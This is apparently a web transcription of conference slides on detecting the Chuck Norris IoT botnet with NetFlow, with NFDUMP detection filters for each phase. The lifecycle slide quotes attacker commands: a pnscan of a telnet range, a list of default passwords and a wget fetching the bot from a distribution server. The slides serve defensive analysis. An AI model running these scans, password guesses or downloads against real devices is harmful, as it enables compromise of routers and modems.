detecting botnets with netflow
play

Detecting Botnets with NetFlow V. Krmek, T. Plesnk - PowerPoint PPT Presentation

Detecting Botnets with NetFlow V. Krmek, T. Plesnk {vojtec|plesnik}@ics.muni.cz FloCon 2011, January 12, Salt Lake City, Utah Presentation Outline NetFlow Monitoring at MU Chuck Norris Botnet in a Nutshell Botnet Detection Methods


  1. Detecting Botnets with NetFlow V. Krmíček, T. Plesník {vojtec|plesnik}@ics.muni.cz FloCon 2011, January 12, Salt Lake City, Utah

  2. Presentation Outline NetFlow Monitoring at MU Chuck Norris Botnet in a Nutshell Botnet Detection Methods NfSen Botnet Detection Plugin Conclusion Krmíček, Plesník Detecting Botnets with NetFlow 2 / 28

  3. Part I NetFlow Monitoring at MU Krmíček, Plesník Detecting Botnets with NetFlow 3 / 28

  4. Masaryk University, Brno, Czech Republic 9 faculties: 200 departments and institutes 48 000 students and employees 15 000 networked hosts 2x 10 gigabit uplinks to CESNET Number of Flows in MU Network (5-minute Window) Interval Flows Packets Bytes 1500000 Second 5 k 150 k 132 M Minute 300 k 9 M 8 G Hour 15 M 522 M 448 G 1000000 Day 285 M 9.4 G 8 T Week 1.6 G 57 G 50 T 500000 Average traffic volume at the edge links in peak hours. 0 Mon Tue Wed Thu Fri Sat Sun Krmíček, Plesník Detecting Botnets with NetFlow 4 / 28

  5. FlowMon Probes at Masaryk University Campus FlowMon probes: 25 NetFlow collectors: 6 Krmíček, Plesník Detecting Botnets with NetFlow 5 / 28

  6. NetFlow Monitoring at Masaryk University FlowMon probe FlowMon probe FlowMon probe NetFlow data generation Krmíček, Plesník Detecting Botnets with NetFlow 6 / 28

  7. NetFlow Monitoring at Masaryk University FlowMon probe NetFlow v5/v9 FlowMon probe NetFlow collector FlowMon probe NetFlow data NetFlow data generation collection Krmíček, Plesník Detecting Botnets with NetFlow 6 / 28

  8. NetFlow Monitoring at Masaryk University FlowMon SPAM probe detection NetFlow worm/virus v5/v9 detection FlowMon probe NetFlow intrusion collector detection FlowMon probe NetFlow data NetFlow data NetFlow data generation collection analyses Krmíček, Plesník Detecting Botnets with NetFlow 6 / 28

  9. NetFlow Monitoring at Masaryk University http WWW FlowMon SPAM probe detection NetFlow worm/virus v5/v9 mail detection FlowMon mailbox probe NetFlow intrusion collector syslog detection FlowMon syslog probe server NetFlow data NetFlow data NetFlow data incident generation collection analyses reporting Krmíček, Plesník Detecting Botnets with NetFlow 6 / 28

  10. From NetFlow Monitoring to Botnet Discovery Network Behaviour Analysis at MU Identifies malware from NetFlow data . Watch what’s happening inside the network 24/7. Single purpose detection patterns ( scanning, botnets, ... ). Complex models of the network behavior. Even Chuck Norris Can’t Resist NetFlow Monitoring Unusual worldwide TELNET scan attempts. Mostly comming from ADSL connections . New botnet Chuck Norris discovered at December 2009. Detailed analysis followed. Krmíček, Plesník Detecting Botnets with NetFlow 7 / 28

  11. Part II Chuck Norris Botnet in a Nutshell Krmíček, Plesník Detecting Botnets with NetFlow 8 / 28

  12. Chuck Norris Botnet Linux malware – IRC bots with central C&C servers. Attacks poorly-configured Linux MIPSEL devices. Vulnerable devices – ADSL modems and routers . Uses TELNET brute force attack for infection. Users are not aware about the malicious activities. Missing anti-malware solution to detect it. Discovered at Masaryk University on 2 December 2009. The malware got the Chuck Norris moniker from a comment in its source code [R]anger Killato : in nome di Chuck Norris ! Krmíček, Plesník Detecting Botnets with NetFlow 9 / 28

  13. Botnet Lifecycle Scanning for vulnerable devices in predefined networks IP prefixes of ADSL networks of worldwide operators network scanning – # pnscan -n30 88.102.106.0/24 23 Infection of a vulnerable device TELNET dictionary attack – 15 default passwords admin, password, root, 1234, dreambox, blank password IRC bot initialization IRC bot download and execution on infected device # wget http://87.98.163.86/pwn/syslgd;... Botnet C&C operations further bots spreading and C&C commands execution DNS spoofing and denial-of-service attacks Krmíček, Plesník Detecting Botnets with NetFlow 10 / 28

  14. More about Chuck Norris Botnet Chuck Norris botnet lifecycle in details and further information are available at the CYBER project page: http://www.muni.cz/ics/cyber/chuck_norris_botnet 1. join ##soldiers## C&C bot (IRC) stop remote access STOP server 2. Topic: !* init-cmd (ports 22-80) (get scan-tools) infected device web server 3. wget scan-tools Krmíček, Plesník Detecting Botnets with NetFlow 11 / 28

  15. Part III Botnet Detection Methods Krmíček, Plesník Detecting Botnets with NetFlow 12 / 28

  16. Detection Methods Overview Five Detection Methods Telnet scan detection. Connections to botnet distribution sites detection. Connections to botnet C&C centers detection. DNS spoofing attack detection. ADSL string detection. Methods Correspond to Botnet Lifecycle Applied to NetFlow Data Defined as NFDUMP filters. Implemented to NfSen collector. Krmíček, Plesník Detecting Botnets with NetFlow 13 / 28

  17. Telnet Scan Detection – Phase I Incoming and outgoing TCP SYN scans on port 23. infected device NFDUMP detection filter: Krmíček, Plesník Detecting Botnets with NetFlow 14 / 28

  18. Telnet Scan Detection – Phase I Incoming and outgoing TCP SYN scans on port 23. infected device local network NFDUMP detection filter: (net local_network ) Krmíček, Plesník Detecting Botnets with NetFlow 14 / 28

  19. Telnet Scan Detection – Phase I Incoming and outgoing TCP SYN scans on port 23. list of C class networks to scan 147.251.20.x infected device 147.251.3.x 147.251.18.x local 147.251.4.x network NFDUMP detection filter: (net local_network ) Krmíček, Plesník Detecting Botnets with NetFlow 14 / 28

  20. Telnet Scan Detection – Phase I Incoming and outgoing TCP SYN scans on port 23. list of C class networks to scan 147.251.20.x infected TCP/23 device 147.251.3.x 147.251.18.x local 147.251.4.x network NFDUMP detection filter: (net local_network ) and (dst port 23) and (proto TCP) Krmíček, Plesník Detecting Botnets with NetFlow 14 / 28

  21. Telnet Scan Detection – Phase I Incoming and outgoing TCP SYN scans on port 23. list of C class networks to scan 147.251.20.x infected TCP/23 device 147.251.3.x 147.251.18.x local 196.142.8.x 147.251.4.x network 214.12.83.x NFDUMP detection filter: (net local_network ) and (dst port 23) and (proto TCP) Krmíček, Plesník Detecting Botnets with NetFlow 14 / 28

  22. Telnet Scan Detection – Phase I Incoming and outgoing TCP SYN scans on port 23. list of C class networks to scan 147.251.20.x infected TCP/23 device SYN/RESET flags 147.251.3.x 147.251.18.x local 196.142.8.x 147.251.4.x network 214.12.83.x NFDUMP detection filter: (net local_network ) and (dst port 23) and (proto TCP) and ((flags S and not flags ARPUF) or (flags SR and not flags APUF)) Krmíček, Plesník Detecting Botnets with NetFlow 14 / 28

  23. Connections to Botnet Distribution Sites – Phase II Bot’s web download requests from infected host. local network NFDUMP detection filter: 1 IP addresses of attacker’s botnet distribution web servers Krmíček, Plesník Detecting Botnets with NetFlow 15 / 28

  24. Connections to Botnet Distribution Sites – Phase II Bot’s web download requests from infected host. local network infected device NFDUMP detection filter: (src net local_network ) 1 IP addresses of attacker’s botnet distribution web servers Krmíček, Plesník Detecting Botnets with NetFlow 15 / 28

  25. Connections to Botnet Distribution Sites – Phase II Bot’s web download requests from infected host. botnet distribution web server botnet distribution local web server network infected device botnet distribution web server NFDUMP detection filter: (src net local_network ) and (dst ip web_servers 1 ) 1 IP addresses of attacker’s botnet distribution web servers Krmíček, Plesník Detecting Botnets with NetFlow 15 / 28

  26. Connections to Botnet Distribution Sites – Phase II Bot’s web download requests from infected host. botnet distribution web server botnet distribution local web server network infected device TCP/80 botnet distribution web server NFDUMP detection filter: (src net local_network ) and (dst ip web_servers 1 ) and (dst port 80) and (proto TCP) 1 IP addresses of attacker’s botnet distribution web servers Krmíček, Plesník Detecting Botnets with NetFlow 15 / 28

  27. Connections to Botnet Distribution Sites – Phase II Bot’s web download requests from infected host. botnet distribution web server botnet distribution local web server network infected device TCP/80 SYN/ACK flags botnet distribution web server NFDUMP detection filter: (src net local_network ) and (dst ip web_servers 1 ) and (dst port 80) and (proto TCP) and (flags SA and not flag R) 1 IP addresses of attacker’s botnet distribution web servers Krmíček, Plesník Detecting Botnets with NetFlow 15 / 28

  28. Connections to Botnet C&C Center – Phase III Bot’s IRC traffic with command and control center. local network NFDUMP detection filter: 2 IP address of an attacker’s IRC server (Botnet C&C center) Krmíček, Plesník Detecting Botnets with NetFlow 16 / 28

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend